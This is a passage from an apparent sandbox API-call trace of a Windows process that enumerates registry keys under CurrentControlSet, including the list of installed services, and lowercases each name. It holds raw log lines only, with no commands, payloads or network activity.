hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.686] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0233.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.687] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0233.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0233.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.687] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0233.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0233.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0233.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.687] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0233.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0233.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0233.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.687] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0233.687] RegCloseKey (hKey=0x14c) returned 0x0 [0233.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0233.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0233.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0233.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.689] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0233.689] RegCloseKey (hKey=0xc4) returned 0x0 [0233.689] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0233.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0233.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0233.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.689] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0233.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0233.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0233.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.689] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.690] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d18, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.690] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.690] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d18, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0233.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.691] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.691] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.691] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.691] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0233.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0233.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0233.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0233.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.692] RegEnumKeyW (in: hKey=0x14c, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0233.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.692] WideCharToMultiByte (in: CodePage=0x0, 